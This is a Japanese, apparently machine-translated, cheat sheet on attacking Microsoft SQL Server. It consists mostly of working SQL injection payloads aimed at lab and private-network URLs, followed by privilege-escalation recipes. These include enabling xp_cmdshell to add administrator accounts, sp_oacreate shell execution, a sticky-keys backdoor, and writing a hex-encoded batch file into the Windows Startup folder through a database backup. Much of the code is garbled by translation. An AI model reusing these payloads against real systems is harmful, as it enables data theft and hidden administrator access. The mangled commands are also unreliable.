mssqlデータベース
mysqlデータベースと比較すると、mssqlデータベースのフレームワークは本質的に類似しています。追加、削除、変更、およびチェックに使用されるコマンドは相互運用可能です。mysqlで使用される一部の関数はmssqlでは機能しません。
MSSQLデータベースの基本的な知識
MSSQLにはデータベース情報が付属しています
ライブラリ名 | 関連機能 |
---|---|
主人 | 構成情報、ユーザーログイン情報、システム実行ステータスを含むシステム制御データベース |
モデル | テンプレートデータベース、データベースが作成されると、すべてのデータベースのテンプレートが作成されます。 |
tempdb | 他のプログラムと相互作用するすべての一時テーブル、ストアドプロシージャ、および一時ファイルを保持する一時コンテナ |
msdb | 主にユーザーが使用し、計画情報、イベント処理情報、データバックアップ、警告、異常情報を記録します |
MSSQLシステムビューテーブル(MYSQLデータベースのようなMSSQLデータベースには、データテーブルsysobjectsおよびsyscolumnsが付属しています)
テーブルを見る | 特徴 |
---|---|
sysobjects | データベース内のすべてのテーブルが記録されます。一般的に使用されるフィールドは、id、name、およびxtypeです。 |
syscolumns | データベース内のすべてのテーブルのフィールドを記録します。一般的に使用されるフィールドは、id、name、およびxtypeです。 |
sys.databases | SQLServerのすべてのデータベース |
sys.sql_logins | SQLServerのすべてのログイン |
information_schema.tables | 現在のユーザーデータベースのテーブル |
information_schema.columns | 現在のユーザーデータベースの列 |
sys.database_files | データベースに保存されているデータベースファイル |
•查询所有表
•xtype=char(85)
のsysobjectsからトップ1 id、nameを選択します•xtype ='U'のsysobjectsからトップ1id、nameを選択します
•查询某TS表の列
•@objid int、@objnameを宣言しますchar(40)
•set @objname='admin'
•select@objid= id from sysobjects where id = object_id(@objname)
•select'Column_name' = name from syscolumns where id = @objid orderbycolid
•orer
•SELECT* SysColumnsからWHEREid= Object_Id('cmd')
注入ポイントを決定します
+1-1
一重引用符
の非明示的注入
エラーインジェクション
Mssqlデータベースの手動ジョイントインジェクション
- それがMssqlデータベースタイプであるかどうかを確認します
およびexists(select * from sysobjects)– 1
およびexists(select count(*)from sysobjects)– 1
- 判断は次のように表示されます
事前に閉じるために1で注文する(あまり使いにくい)
union select null、
nulluesr(クエリユーザー)db_name(
)データベース名
@@ version version
ノンエラーインジェクション
http://192.168.31.73:8008/love/job_show.asp?user
dboは最高の権限を意味し、ユーザーの名前の場合は通常の権限を意味します
- ユーザー名をクエリ
id=-10+UNION+ALL+SELECT+'1',user,'3','4',null,null,null,null,null,null,null,ull,null,null,null,null,null,null,null,null,null,null--+
- クエリテーブル名
http://192.168.226.153/labs/MSSQL-SQLi-Labs-master/less-1.asp?id=-1'+UNION+ALL+SELECT+db_name(),null,null --+
http://192.168.31.73:8008/love/job_show.asp?id=-10+UNION+ALL+SELECT+'1',NAME,'3','4',null,null,null,null,null,null,nul,null,null,null,null,null,null,null,null,null,null,null from sysobjects wheretype='U' AND NAME NOT IN('HECI')--+
エラーインジェクション
およびuser>0–批用户
およびdb_name()> 0--神数測定名
およびconvert(int、db_name())
およびobject_name(user)> 0
およびfile_name(user)> 0
およびtype_name(user)>0
およびcol_name ()、1)> 0
およびschem_name(user)> 0
上記のすべては、文字列をエラーに渡すために整数を必要とします
エラーレポート名
http://192.168.226.153/labs/MSSQL-SQLi-Labs-master/less-1.asp?id=1' and 1=(select top 1 name from sysobjects where xtype='U' and name !='users') -- 1
ブール注入
ブールインジェクション
?id = 1および(ascii(substring(user、1,1)))= 100
タイムインジェクション
?id = 1 ;; if(ascii(substring(user、1,1)))= 100 waitfor delay '0:0:2';-1
mssqlデータベース
samysqlのルート
ステップ1:すべてのデータベース名を分解する(括弧番号を変更する)
select convert(int、user)
select convert(int、db_name())
select file_name(db_name())
select file_name(user)
select db_name(user)
select col_name(db_name( )、1)
select object_name(db_name())
select schema_name(user)
select schema_name(db_name())
http://192.168.1.55/sqlserver/1.aspx?xxser=1およびdb_name(3)> 0–
TestDB
报错統合
?id = 1'および1=(xtype ='U'およびname!=' users'であるsysobjectsから上位1つの名前を選択)– 1
手順2:現在のライブラリ内のいくつかのテーブルを展開します(次の番号を変更します)
http://192.168.0.102/sqlserver/1.aspx?xxser=1および(select cast(count(1)as varchar(10))%2bchar (94)from [sysobjects] where xtype = char(85)and status!= 2)= 2–
?id = -1 union select 1、(xtype ='U'であるsysobjectsから上位1つの名前を選択)、3 – 1
不等式表andname!='referers'
?id = -1 union select 1、(xtype ='U'およびname!='referers'であるsysobjectsから上位1つの名前を選択)、3 – 1
2个表
第三步:暴表名
http://192.168.1.55/sqlserver/1.aspx?xxser=1 and (select top 1 cast (name as varchar(256)) from(select top 2 id,name from [sysobjects] where xtype=char(85) and status!=1 order by id)t order by id desc)=1–
http://192.168.0.102/sqlserver/1.aspx?xxser=1 and 0 <>(xtype = 0x7500であるtestdb.dbo.sysobjectsからトップ1の名前を選択し、名前がない(testdb.dboからトップ1の名前を選択)。 sysobjects where xtype = 0x7500))–
2テーブル名Admin、test_tmp
ステップ4: 1 = 1 –を持つすべてのフィールド名を展開します
1 =1のフィールド名1でグループ化–
1 = 1のフィールド名1、フィールド名2でグループ化–
admin.id、admin.name、admin.passWord
ステップ5:n-1および1 = 2のユニオンによるバーストフィールド値
の順序は
、table_nameから1,2…、nを選択します
http://192.168.0.102/sqlserver/1.aspx?xxser=1 and(select top 1 isnull(cast([id] as nvarchar(4000))、char(32))%2bchar(94)%2bisnull(cast ([name] as nvarchar(4000))、char(32))%2bchar(94)%2bisnull(cast([password] as nvarchar(4000))、char(32))from[testdb]…[admin]where 1 = 1およびidが含まれていません([testdb]…[admin]から上位0のidを選択します。1= 1はidでグループ化します))>0および1= 1
mssql特権の昇格
特権の昇格xp_cmdshell
xp_cmdshellが存在するかどうかを確認します(0以外を返す場合は、存在します)
master.dbo.sysobjectsからcount(*)を選択します。ここでxtype='x'およびname='xp_cmdshell';
#存在しない場合は、追加でき
ますEXECsp_addextendedproc xp_cmdshell、@ dllname ='xplog70.dll' declare @o int;
sp_addextendedproc'xp_cmdshell'、'xpsql70.dll';
#xp_cmdshellが有効になっているかどうかを確認します(コマンドを成功させるために試してください)Execmaster…xp_cmdshell'whoami
';
SQLServer2005では、デフォルトで一部のストアドプロシージャが閉じられているため、コマンドを開く必要があります。xp_cmdshellを開く:execsp_configure
'詳細オプションを表示'、1; RECONFIGURE; EXEC
sp_configure'xp_cmdshell'、1;RECONFIGURE;xp_cmdshellを閉じる:execsp_configure
'詳細オプションを表示'、1; RECONFIGURE; EXEC
sp_configure'xp_cmdshell'、0; RECONFIGURE;
Execmaster…xp_cmdshell'netuser roge 123456 / add';
Execmaster…xp_cmdshell'ネットローカルグループ管理者roge/add';
xp_regread
特権昇格をトリガーする
更新後
に[test_table]にトリガー[roge1]を作成し、masterを実行し始めます…xp_cmdshell'net user jingfuwang 123456 / add' end update test_table set id = 44;
特権昇格をトリガーする
SQLServerでcomコンポーネント
sp_oacrateを使用します
特権昇格メソッドsp_oacreate
EXEC sp_configure'詳細オプションの表示'、1;
RECONFIGURE;-以前の設定を有効にしますEXECsp_configure
' Ole Automation Procedures'、1;
RECONFIGURE;
declare @shell int
--使用sp_oacreate调用wscript.shell组件,将返回的对象存储到@shell变量中。
exec sp_oacreate'wscript.shell',@shell output
--使用sp_oamethod 调用@shell对象中的Run方法,执行添加用户的命令,null是run方法的返回值,我们不需要用返回值,所以写null
exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user kpkp margin /add'
exec sp_oacreate'wscript.shell',@shell output
--使用sp_oamethod 调用@shell对象中的Run方法,执行添加用户的命令
exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators kpkp /add'
スケジュールされたタスク権限昇格
コマンドラインモード
msdbを使用します。
EXEC dbo.sp_add_job @job_name = N'test_powershell_job1';
EXEC sp_add_jobstep @job_name = N'test_powershell_job1'、@ step_name = N'test_powershell_name1'、@ subsystem = N'CmdExec'、@ command = N'c:\ windows \ system32 \ cmd.exe / c whoami / all> c:\ 123.txt'、@retry_attempts = 1、@retry_interval = 5;
EXEC dbo.sp_add_jobserver @job_name = N'test_powershell_job1';
EXEC dbo.sp_start_job N'test_powershell_job1';
mssqlインジェクション?
ユニオンクエリには、同じ数のユニオンフィールド列と同じフィールドデータ型が必要です。
エラーインジェクション1()object_id field_name x
ブール
時間ベースのif()waitfor '00:00:0x'
に基づく;スタックインジェクションに基づく
mssql特権の昇格:xp_cmdshell
はコマンドを実行しますsp_oacreateはコマンド
を呼び出しますwscript.shellはコマンド
トリガーを実行します特定のイベントが発生すると、コマンドを実行し
ます
特権の昇格にはサンドボックスモードを使用します
レジストリ
regeditを開きます
exec sp_configure'詳細オプションを表示'、1; reconfigure
exec sp_configure'アドホック分散クエリ'、1; reconfigure;
execmaster…xp_regwrite'HKEY_LOCAL_MACHINE'、'SOFTWARE \ Microsoft \ Jet \ 4.0 \ Engines'、'SandBoxMode'、'REG_DWORD'、0;
select * from openrowset('microsoft.jet.oledb.4.0'、'; database = c:/windows/system32/ias/ias.mdb'、'select shell(“ net user bihuo_4_18 123456 / add”)')
exec sp_configure '詳細オプションを表示'、1; reconfigure
exec sp_configure'アドホック分散クエリ'、1; reconfigure;
execmaster…xp_regwrite'HKEY_LOCAL_MACHINE'、'SOFTWARE \ Microsoft \ Jet \ 4.0 \ Engines'、'SandBoxMode'、'REG_DWORD'、0;
select * from openrowset('microsoft.jet.oledb.4.0'、'; database = c:/windows/system32/ias/ias.mdb'、'select shell( "net user bihuo_4_18 123456 / add")')
スティッキーキーの特権昇格
シフト
シフトキーを押し続けます
EXEC sp_configure'詳細オプションを表示'、1;
再構成;
EXEC sp_configure'Ole Automation Procedures'、1;
再構成;
@ 00 i nt
exec sp_oacreate'scripting.filesystemobject'、@ 00 out
execsp_oamethod @ 00、'copyfile'、nuII、'c:\ windows \ system32 \ ca14exe'、'c:\ indows \ system32
\ dIIcache\sethc.exeを宣言します'
差分バックアップ書き込みでスケジュールされたタスクを開始します
ALTERデータベーステストSET RECOVERY FULL;
表CMD1(イメージ)を作成し; -画像は、バイナリデータを表し
=ディスクへのバックアップデータベースのテストを'はC:\ suibian1' INITと; -
INSERT INTO CMD1(A)の値(0x406563686F206F66660D0A406364202577696E646972250D0A406E657420757365722061646D696E2061646D696E202F6164640D0A406E6574206C6F63616C67726F75702061646D696E6973747261746F72732061646D696E202F6164640D0A4064656C2073746172742E6261740D0A40657869740D0A400D0A) -
バックアップディスクへのデータベーステスト='C:\ Documents and Settings \ All Users \ Start Menu \ Programs \ Start \ start.bat' –
ドロップテーブルcmd1 –